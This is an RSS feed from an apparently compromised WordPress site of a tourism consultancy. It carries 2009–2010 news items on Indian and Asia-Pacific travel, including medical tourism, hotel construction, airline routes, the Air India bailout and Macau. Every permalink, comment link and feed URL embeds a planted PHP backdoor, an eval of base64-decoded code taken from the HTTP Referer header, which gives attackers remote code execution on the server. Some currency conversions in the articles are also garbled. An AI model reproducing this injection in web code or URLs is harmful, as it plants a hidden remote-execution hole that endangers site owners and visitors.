Royal Intel - Tourism Intelligence Consultants » India http://royalintel.com "Royal Intel is an indispensible partner of ours in our construction of our marketing programs, with their thorough analyses of Asia-Pacific tourism and swift turnaround of deliverables. Their reports are always spot on, user-friendly, and full of constructive counsel" - Søren Leerskov, Managing Director, Scandinavian Tourist Board Fri, 08 Jan 2010 06:41:37 +0000 http://wordpress.org/?v=2.8.6 en hourly 1 Indian Travel Associations to Promote Medical Value Travel http://royalintel.com/2010/01/07/indian-travel-associations-to-promote-medical-value-travel/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://royalintel.com/2010/01/07/indian-travel-associations-to-promote-medical-value-travel/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Fri, 08 Jan 2010 06:36:57 +0000 Lara http://royalintel.com/?p=424 India is acclaimed for its huge medical tourism potential with states like Kerala, Andhra Pradesh and Karnataka, specifically identified in offering a lot of scope for medical tourism. In recognition of India’s potential as a choice destination for medical tourism, the Travel Agents Association of India (TAAI) has taken upon its stride to help in promoting medical tourism and have in effect showcased the key features of India’s medical tourism at an annual conference held in Dubai in last October.

According to the President of TAAI, Mr. Rajinder Rai, optimism is indeed high for India’s medical tourism especially for clients from the Middle East where the Dubai showcase will seek to change the scenario. The annual conference held from September 29 to October 2, saw over 2,000 delegates taking part. Experts from both India, as well from the Middle East nation, took part in this conference and exchanged their views, prospects and experiences. The President further categorically noted that the annual conference of the Travel Agents Association of India will contribute to a very large degree to promote and to market Dubai in India, which has been showing positive and strong signs of growth for quite a few years now.

The medical tourism market in India has been growing rapidly since the last decade and private as well as Government corporations are taking initiatives to sustain and continue the growth. The country’s potential as a choice destination for medical tourism has equally seen the Indian Medical Travel Association (IMTA) in partnership with a leading business federation, the FICCI, to promote Medical Value Travel to India from the African Continent. Dubbed ‘Namaskar Africa’, FICCI will lead an Indian business expedition from 14-16 January 2010 to Lagos, Nigeria with due support from Ministry of Commerce, Government of India and ECOWAS Commission where in effect the Indian delegation will be lead by India’s Minister of Commerce and Industry, Shri Anand Sharma.

Targeting Africa for clients is based on the steady growth in the volume of international patients coming to India for medical treatment, especially from West Africa and particularly from Nigeria. Indeed more than ten thousand visas were issued by Indian High Commission in Nigeria alone during 2009 to patients who wanted to travel to various Indian hospitals for medical treatment. According to the Executive Director, Indian Medical Travel Association, Pradeep Thukral, Africa is a prime market for promoting medical value travel to India and where ‘Namaskar Africa’ will seek to provide opportunities for the Association’s members to promote their services and also explore business opportunities for setting up Diagnostic and Clinical facilities in the African region.

The event endeavors to provide excellent networking opportunities between Indian African healthcare professionals and will help to further boost the flow of international patients referrals from Africa to Indian hospitals.

]]> http://royalintel.com/2010/01/07/indian-travel-associations-to-promote-medical-value-travel/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/ 0 Unabated Surge in Hotel Construction in China and India http://royalintel.com/2009/11/24/unabated-surge-in-hotel-construction-in-china-and-india/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://royalintel.com/2009/11/24/unabated-surge-in-hotel-construction-in-china-and-india/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Tue, 24 Nov 2009 09:14:55 +0000 Lara http://royalintel.com/2009/11/24/unabated-surge-in-hotel-construction-in-china-and-india/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/
According to a recently released October 2009 STR Global Construction Pipeline Report, the development of hotels in the Asia Pacific hotel industry shows 985 hotels currently under construction and which altogether comprise 235,931 rooms. Among the key markets, Shanghai, China, reported the largest amount of rooms in the total active pipeline (12,445 rooms) and equally in the “In Construction” phase (9,291 rooms).
Shanghai is followed by those in New Delhi, India, with 6,736 rooms in the total active phase and 4,792 rooms in the “In Construction” phase. Beijing, China, ended the month with 6,267 rooms in the total active pipeline and 4,388 rooms “In Construction”. Among the chain scale segments, four segments made up over 80% of the total active pipeline. The upper upscale segment accounted for 23.9% of the total active pipeline with 56,461 rooms, followed by the upscale segment, which made up 23% with 54,365 rooms. The unaffiliated segment made up 20.8 of the total active pipeline with 49,093 rooms, and the luxury segment accounted for 16.6% and 39,093 rooms. The STR Report findings confirm what an interesting article in the International Herald Tibune indicated that the outlook for the hotel industry in Asia is set to defy the current economic slowdown.

There is a lot of runway left in the emerging Asian economies given the population in these countries. The United States has 4.9 million hotel rooms catering to a population of 300 million, while Europe has about 5.3 million rooms. China, with its population of 1.3 billion, has only 1.7 million, and India barely has 120,000. According to the General Manager Asia at Fairmont Hotels & Resorts, Ian Wilson, China is expected to have a middle class of 400 million in 10 years time and a growth rate of 6%-plus this year. While hotels in China’s main international gateways of Shanghai, Beijing and Hong Kong are under pressure, business in the secondary and tertiary cities in the country’s vast interior has mostly stayed resilient, as those areas depend less on international travel, and are more exposed to domestic Chinese travelers.

Cities like Hefei and the resort of Sanya for instance, have recorded more than 80% Chinese clients, and demand is surging coupled with good infrastructure. According to the Finance chief and head of commercial development at InterContinental Hotels Group, Richard Solomons, China is the place to be given that the country has built tens of thousands of kilometers of highways and railway track, and 97 new airports. Coupled with its large and potential consumer base, there is indeed a massive growth opportunity in Asia-Pacific and one that is unsurpassed anywhere in the world, according to the Chief Executive of Starwood, Frits van Paasschen.

Source: TravelMole at www.travelmole.com

]]> http://royalintel.com/2009/11/24/unabated-surge-in-hotel-construction-in-china-and-india/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/ 0 Adaptation Seriously Amiss in Meeting the Needs of the Traveler from China and India http://royalintel.com/2009/11/24/adaptation-seriously-amiss-in-meeting-the-needs-of-the-traveler-from-china-and-india/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://royalintel.com/2009/11/24/adaptation-seriously-amiss-in-meeting-the-needs-of-the-traveler-from-china-and-india/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Tue, 24 Nov 2009 09:13:24 +0000 Lara http://royalintel.com/2009/11/24/adaptation-seriously-amiss-in-meeting-the-needs-of-the-traveler-from-china-and-india/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/
The traditional package holiday requirements of sun, sea and sand will be replaced with sightseeing, shopping and status as emerging markets shape the travel industry in the new Millennium.
These are the predictions of travel consulting company Tourism Intelligence International which monitors travel patterns across the globe at a WTM seminar on emerging markets. According to the firm’s Managing Director, Dr. Auliana Poon, travel providers need to understand the “new markets” and their requirements as they would be the saving grace of the industry as old economies continue to struggle. Traditional markets have slower growth, have a slower rate of growth in millionaires and have an ageing population. On the other hand, new markets have a young, dynamic, increasingly wealthy demographic who will lead the path towards economic recovery. Trends indicate that travelers from emerging markets return home with shopping purchases to show they have the wealth and status to travel.

According to the Managing Director, reference on the emerging market dynamics is on China and India’s growing middle class that have a huge appetite for travel. Marketers have been warned that the travel industry was too entrenched in serving the typically white, European holidaymaker when what it needs is realize the needs of the new markets were very different. The market is acknowledged for being extremely segmenting and adaptation is required in this respect especially for emerging markets that are going to generate the income needed for the future. With 253 million web users in China and more mobile phones than landlines in China and India, travel providers have been advised to make sure their offering was totally accessible on as many platforms as possible.

Source: TravelMole at www.travelmole.com

]]> http://royalintel.com/2009/11/24/adaptation-seriously-amiss-in-meeting-the-needs-of-the-traveler-from-china-and-india/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/ 0 Australia, Japan, India, and Singapore Notable Brand Winners http://royalintel.com/2009/11/06/australia-japan-india-and-singapore-notable-brand-winners/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://royalintel.com/2009/11/06/australia-japan-india-and-singapore-notable-brand-winners/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Fri, 06 Nov 2009 07:51:03 +0000 Lara http://royalintel.com/2009/11/06/australia-japan-india-and-singapore-notable-brand-winners/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/
Australia remains the country that most people have on their wish list to visit but the Obama effect has seen the United States earn the coveted top spot for the first time in the fifth annual FutureBrand Country Brand Index (CBI). Australia fell to number three, with New Zealand hot on its heels in fourth position.
Rising from the third spot in 2008, the USA beat Canada, host to the 2010 Winter Olympics, which held on to the second spot. Other countries making the top 10 of the global 2009 FutureBrand CBI study include France, Italy and Japan. Brand Australia remained on the top three in categories that included; families, outdoor activities and sport, to the country people most want to live in and extend a business trip. Australia’s high rating comes against a highly successful marketing campaign notably Queensland’s ‘Best Job in the World’, and international exposure of Baz Luhrmann’s movie, ‘Australia’. However, the economic downturn has seen many embracing ‘value travel’ and holidaying closer to home. Singapore was rated best for shopping and earned the top spot as a business-friendly city. It also took fifth spot in the best fine dining category behind France, Italy, Japan and Argentina.

Fiji on their part was voted into first place for having the friendliest locals. Other Asia Pacific destinations that won some accolade include Japan for the Best Country Brand for Authenticity and followed in this category by India in second place, Cambodia in fourth and Bhutan fifth. Japan equally won top spots for Best Country Brand for Advanced Technology, Best Country Brand for Quality Products, Best New Country for Business and Best Country Brand for Conferences. India gained another second place spot for the Country Brand for History, after Egypt but won top sport for Best Country Brand for Value for Money and third place for Country Brand for Art & Culture, after Italy and France. Japan followed a close fourth in this category.

The FutureBrand CBI is a comprehensive study of approximately 3,000 international business and leisure travelers from nine countries. It ranks countries in terms of their brand strength, and identifies emerging global trends in the world’s fastest growing economic sector, travel and tourism, which accounted for over USD 944 billion in international tourism receipts in 2008.

Source: TravelMole at www.travelmole.com

]]> http://royalintel.com/2009/11/06/australia-japan-india-and-singapore-notable-brand-winners/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/ 0 Foreign Film Shooting a Means towards Boosting India’s Image, Tourism, and Economy http://royalintel.com/2009/10/29/foreign-film-shooting-a-means-towards-boosting-indias-image-tourism-and-economy/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://royalintel.com/2009/10/29/foreign-film-shooting-a-means-towards-boosting-indias-image-tourism-and-economy/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Thu, 29 Oct 2009 07:44:25 +0000 Lara http://royalintel.com/2009/10/29/foreign-film-shooting-a-means-towards-boosting-indias-image-tourism-and-economy/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/
According to a PIB release, more than 90 foreign film productions have been cleared for shooting in different locations all over India over the last three years. Permission was granted to 22 foreign film productions in 2006, 27 each in 2007 and 2008 and 17 till date this year.
Of these, 33 productions are of UK based organizations, and 17 of US origin. The other productions are from France, Canada, Netherlands, Germany, Japan, Russia, Georgia, Italy, Israel, Bangladesh and Pakistan among others. Some of the preferred locations for foreign film shoots in India include Goa, Jaipur in Rajasthan; Ludhiana in Punjab; Pune, Mumbai (Madh Island, Versova), Thane in Maharashtra; Pachmarhi in Madhya Pradesh; Hyderabad, Ahmadabad in Gujarat. The Indian Ministry of Information and Broadcasting has in this regard streamlined the procedure for granting requisite permissions for foreign film shooting in the country, taking not more than three weeks. Production houses are usually required to apply for permission with the Ministry of Information and Broadcasting of feature film and or tele-film shooting providing details of chosen locations and production scripts.

The Oscar winning film, ‘Slumdog Millionaire’, was granted permission in the year 2007 under the original title of ‘Q&A’. Another celebrated movie, ‘A Mighty Heart’, recently featured at the Cannes Film Festival, was approved for shooting near Pune in 2006 in which actress Angelina Jolie starred. Other productions lined up for the near future include British productions of ‘Indian Summer’ by M/s Mashorba Films Ltd and ‘Eat Pray Love’ from M/s Waveland Pictures Ltd featuring Julia Roberts. The Indian Economy has been benefiting with the spinoffs of such foreign productions that provide employment opportunities to locals, giving a fillip to the local hotel industry and also contribute towards export earnings of goods and service remittances.

Source: TravelBiz monitor.com at www.travelbizmonitor.com

]]> http://royalintel.com/2009/10/29/foreign-film-shooting-a-means-towards-boosting-indias-image-tourism-and-economy/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/ 0 Finnair to Operate Daily Flights to New Delhi http://royalintel.com/2009/09/30/finnair-to-operate-daily-flights-to-new-delhi/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://royalintel.com/2009/09/30/finnair-to-operate-daily-flights-to-new-delhi/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Wed, 30 Sep 2009 09:33:04 +0000 Lara http://royalintel.com/2009/09/30/finnair-to-operate-daily-flights-to-new-delhi/
Finnair has announced plans to fly daily to New Delhi as of 25 September 2009. Thanks to Helsinki’s excellent geographical location on the great circle route, the flight time to Delhi is now only 6 hours 30 minutes.
According to Finnair’s Vice President, Networks Strategy and Planning, Petteri Kostermaa, the route is the shortest between the EU and India, and hence found wide interest amongst travelers. This development comes a year after recession took a bite out Finnair’s operations with reservations on its New Delhi-Helsinki flights doubling and therefore the strategic decision to restore daily service on the route. Indeed Finnair’s route is the only direct connection from Northern Europe to Delhi offering excellent connections to Delhi from Scandinavia, the Baltic Sea area and all of Northern Europe, with short flight times even from London and Paris. In the Delhi-Helsinki direction, fast Finnair connections serve around 30 cities in Europe.

Delhi, on the other hand, is the main airline hub in India and offers excellent connections to the rest of the country. According to Finnair Director (Indian subcontinent), Mr Kari Stolbow, reservations with the airline as have of doubled in the month of September compared to numbers from the year-ago level, a possible indication that fliers grounded by the economic downturn are again taking to the skies. The Helsinki-New Delhi flight offers packages that include sub-Rs 80,000 (EUR 1,136.45) business class return fares to the UK. Besides the Rs 78,200 all-inclusive business class return fares to UK, Mr. Stolbow said the airline was also offering sub-Rs 100,000 business class return tickets to rest of Europe via Helsinki. Finnair started flights to Delhi in October 2006, which was the highlight of the winter timetable.

Finnair’s interest in India is due to the country’s potential as a growing economic powerhouse, with business and leisure travel increasing by double percentage figures annually and also a big increase in demand for air cargo from India to Europe. According to the Vice President, Network Strategies and Management, apart from being the shortest between the EU and India, Finnair’s route is equally of genuine interest to Indian travelers.

Source: FINNAIR.com at www.finnairgroup.com

]]> http://royalintel.com/2009/09/30/finnair-to-operate-daily-flights-to-new-delhi/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/ 0 India and China to Remain Growth Frontiers in Online Travel Market Despite a Down Cast Travel Industry http://royalintel.com/2009/09/11/india-and-china-to-remain-growth-frontiers-in-online-travel-market-despite-a-down-cast-travel-industry/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://royalintel.com/2009/09/11/india-and-china-to-remain-growth-frontiers-in-online-travel-market-despite-a-down-cast-travel-industry/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Fri, 11 Sep 2009 09:38:29 +0000 Lara http://royalintel.com/2009/09/11/india-and-china-to-remain-growth-frontiers-in-online-travel-market-despite-a-down-cast-travel-industry/
According to a recently released report by PhoCusWright on the Asia Pacific Online Travel Overview, there is an expected downturn in the APAC travel industry in 2009, with all the major segments namely that of air, hotel and car, declining due to decreased passenger demand.
On the other hand, the online travel market will grow at double-digit rates as technology adoption soars in markets like China, Japan and Singapore. According to the report, online travel agency expansion will continue to impact markets like India and Australia/New Zealand. These factors and more will contribute to a 17% gain in the APAC online leisure/unmanaged business travel market, projected to reach USD 35.7 billion in 2009. According to PhoCusWright’s general manager, Asia Pacific, Ram Badrinathan, the Asia Pacific travel market is relatively stable right at the moment when compared to other regions, providing a lot of opportunity in the online travel sector which is buoying the industry’s performance.
Under pressure from a struggling global economy, the travel market in APAC is projected to decline 6% in 2009 to USD 202 billion. It is envisaged that the region will see continued stabilization with slow recovery beginning in 2010 as the total travel market begins to gain momentum in 2011. However, online travel market growth rates will be in double digits for all key markets in 2010 and 2011. The APAC online travel market will grow at rates not seen in the U.S. since 2006, indicating ripe opportunities for travel companies looking to expand. Despite the 2009 downturn, the travel industry has not changed its outlook for India and China as the next frontiers for growth.

Source: Travel Industry Wire at www.travelindustrywire.com

]]> http://royalintel.com/2009/09/11/india-and-china-to-remain-growth-frontiers-in-online-travel-market-despite-a-down-cast-travel-industry/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/ 0 Government to Bail Out Air India on Condition http://royalintel.com/2009/09/11/government-to-bail-out-air-india-on-condition/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://royalintel.com/2009/09/11/government-to-bail-out-air-india-on-condition/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Fri, 11 Sep 2009 09:19:42 +0000 Lara http://royalintel.com/2009/09/11/government-to-bail-out-air-india-on-condition/
Cash-strapped Air India may get a fresh lease of life with the government agreeing to infuse a performance-linked equity of INR 5,000 (USD 103) crore over the next three years into the state-owned airline.
A committee of secretaries (CoS) headed by Cabinet secretary KM Chandrasekhar considered Air India’s proposal on Saturday to inject capital and provide soft loan. With this move, the Indian government has committed its support to the airline in meeting its short and medium-term capital requirements. Indeed the CoS has agreed to increase the equity base of the company and take it above INR 5,000 (USD 103) crore over the next three years where the government will also help the airline in soliciting loans from banks if required. Hit by the worst financial crisis in its history, Air India had earlier sought over INR 15,000 (USD 309) crore from the government to tide over the crisis. As of March this year, Air India had an accumulated loss of over INR 7,200 (USD 148) crore. Air India expects to cut its operational cost by about INR 2,000 (USD 41) crore per annum besides enhancing its cash flow by 10-15%.
The airline aims at saving about INR 750 (USD 750) crore by rationalising productivity-linked incentives of its 31,000 staff and has targeted to reduce its cost by INR 500 (USD 10) crore by rationalising its network. On the revenue enhancement front, the carrier intends to unlock the value of its real estate properties and will also expand its customer base. The airline is all set to launch its low-cost airline, Air India Express, on domestic routes. Accenture has given a cost-cutting plan where according to the blue-print, the carrier would save over INR 4,000 (USD 82) crore annually by cutting cost and enhancing revenue. The cost-cutting measures suggested by Accenture have been presented to the CoS. Before the involvement of Accenture, Air India had on its part submitted a turnaround plan, prepared by merchant banking firm SBI Caps, to the panel last month.
In May, the cash-strapped national carrier, in desperation to raise money from the central government, saw officials of the National Aviation Company of India (Nacil), also known as Air India, develop a blueprint to seek an equity infusion of INR 1,231 (USD 25) crore for the airline. Loan liabilities of Air India currently stands at nearly INR 16,000 (USD 330) crore. The company owes about INR 600 (USD 12) crore to Airports Authority of India (AAI) over and above the dues of private airport operators such as Delhi International Airport (DIAL) and Mumbai International Airport (MIAL). The company therefore has to make principal and interest repayment of about Rs 9,000 crore over the next three years, mainly on account of fleet acquisition. The Indian Government’s action comes on condition that the cash strapped airline improves its performance and cuts costs.
In this regard, the CoS has directed the ministry of civil aviation to move a proposal to the Cabinet in consultation with finance ministry for the financial assistance to beleaguered carrier.

Source: The Economic Times at economictimes.indiatimes.com/

]]> http://royalintel.com/2009/09/11/government-to-bail-out-air-india-on-condition/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/ 0 Wealthy Indians Weather Economic Downturn to Enhance Luxury Travel Market http://royalintel.com/2009/08/03/wealthy-indians-weather-economic-downturn-to-enhance-luxury-travel-market/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://royalintel.com/2009/08/03/wealthy-indians-weather-economic-downturn-to-enhance-luxury-travel-market/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Tue, 04 Aug 2009 01:08:05 +0000 Lara http://royalintel.com/2009/08/03/wealthy-indians-weather-economic-downturn-to-enhance-luxury-travel-market/
A notable outcome from the recently held Asia Luxury Travel Market (ALTM) in June in Shanghai is the optimism expressed by Indian outbound agents that the luxury segment is still holding up well despite pressures from the global economy.

Travel Oytser India director, Mr Abhay Jaipuria, notes that wealthy Indians recognize that this is now the best time to travel, as hotels and airlines reduce prices. In essence, a flight from New Delhi to London, for instance that used to cost USD 5, 000, now costs only USD 1,800. With these reduced prices, travelers were now able to enjoy the same quality and experience to that of original high payment. The outbound agents note that while South-east Asian destinations draw the biggest volume of wealthy Indians, tours to Europe contribute the highest revenue as travelers tend to spend five times more than they would in Asia. Illustrating the wealthy Indian market’s spending potential, customers on average spend USD 33,000 on hotels, transfers, and activities for a three-day trip from Calcutta to London and Switzerland. It is noted that shopping, tours led by private guides, limousine transfers, and private cruises are among the common components in a wealthy Indian traveler’s itinerary.

AD-Voyage Travels director, Mr Sandeep Jain, asserts that tourism boards and hotels in many destinations have recognized the revenue-generating potential of wealthy Indians and have been offering agent familiarization trips to promote their destinations and properties. Despite the optimism in outbound Indian travel, Australia has recently fallen out of favor among Indians following the highly-publicized attacks on Indian students in the former country. Indeed the ramification of this negative publicity saw one agent asserting not receiving any bookings to Australia since the outbreak of the aforementioned incidents.

Source: TTGTravelHub.Net at www.ttgtravelhub.net

]]> http://royalintel.com/2009/08/03/wealthy-indians-weather-economic-downturn-to-enhance-luxury-travel-market/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/ 0 Macau in Focus as ‘City of Dreams’ is Launched; Bollywood Comes Calling Too http://royalintel.com/2009/07/27/macau-in-focus-as-%e2%80%98city-of-dreams%e2%80%99-is-launched-bollywood-comes-calling-too/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://royalintel.com/2009/07/27/macau-in-focus-as-%e2%80%98city-of-dreams%e2%80%99-is-launched-bollywood-comes-calling-too/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Tue, 28 Jul 2009 06:27:11 +0000 Lara http://royalintel.com/2009/07/27/macau-in-focus-as-%e2%80%98city-of-dreams%e2%80%99-is-launched-bollywood-comes-calling-too/
Is Macau back in business? This seems to be the case as the tiny former Portuguese colony on the coast of southeast China attempts to reel out of the effects of the current global financial crisis that affected employment conditions in recent times coupled with restrictions imposed on Chinese travels to the country that severely affected its economy.

The majority of the visitors to the country come from mainland China, Hong Kong and Southeast Asia, which accounted for 57.7%, 27.5% and 5.5% of the total respectively in 2008. Since these source countries have been hit heavily by the global recession, so was Macau’s economy. The success of Macau’s economy in the recent years rests highly on its gambling-related tourism. Indeed Macau is reputed to be the biggest gambling market in the world, with annual gambling revenues higher than Las Vegas and Atlantic City combined. The country’s economy grew approximately an average of 13.1% annually between 2001 and 2006. In 2007, Macau’s gross domestic product (GDP) grew by an astounding 27.3% over the previous year. And in 2008, the GDP growth reached 12% with 30 million visitors. But Macau is not an exception, and it started to feel the effects of the global downturn.

In fact, Macau’s economic secretary predicted high chances of the economy to suffer from negative growth in 2009. As tourism plays a key role in Macau’s economy, yielding about 40% of the local GDP and employing one-third of the work force, worried were rife ever since gaming revenues in the country plummeted 7% in the last three months of 2008 to USD 4.5 billion. The consequence of this economic misfortune saw the dramatic expansion plan that was supposed to transform the enclave into Asia’s biggest tourist destination jeopardized. Many companies elected to significantly slow the pace of their development activities in the area, stopping the construction of new casinos. This scenario seems to have changed with the recent launch Macau’s newest gambling crib, the USD 2.1 billion ‘City of Dreams’, by Melco Crown Entertainment co-owners, Lawrence Ho and James Packer.

The Crown Towers, a second hotel in the ‘City of Dreams’ complex, is equally being designed to cater to VIP gamblers while the leisure guests find appeal at the Grand Hyatt Macau, due to open later this year. The three properties, combined with a 2,000-seat, purpose-built theater is envisaged to take Macau, as an integrated resort, to the very next level. In addition to this addition, the stars of India’s movie citadel, Bollywood, are descending on this tiny coastal enclave that will host the tenth edition of the Indian International Film Award (IIFA) awards extravaganza. Already, Bollywood’s leading couple, Aishwarya and Abhishek Bachchan, are among the first to arrive, with an ecstatic Abhishek noting that the Indian movie industry looks forward to bringing Bollywood magic to Macau. Superstar Amitabh Bachchan, who is also the brand ambassador of IIFA, is expected to fly-in on Wednesday night.

Actor Govinda is also here with co-stars Sushmita Sen and Lara Dutta to promote his film ‘Do Knot Disturb’. Dutta will be hosting this year’s award ceremony with actors Boman Irani and Riteish Deshmukh. Oscar winning Slumdog Millionaire music award winning duo of A. R. Rahman and Resul Pookutty are slated to attend the event. This year’s IIFA is hwoever expected to be a pale affair in comparison to last year’s celebration in Bangkok, Thailand, as some of the biggest stars of Bollywood including the three Khans; Shah Rukh, Aamir and Salman, along with Akshay Kumar, Kareena Kapoor and Priyanka Chopra have decided to give the event a miss. Despite this drawback to the event, one of the highlights of the IIFA weekend this year will be a fashion show where top actor Hrithik Roshan and his wife Suzanne will walk the ramp together for the first time. Indeed Macau will bank on this new found glamour and attention. Only time will tell.

Source: Express India at www.expressindia.com

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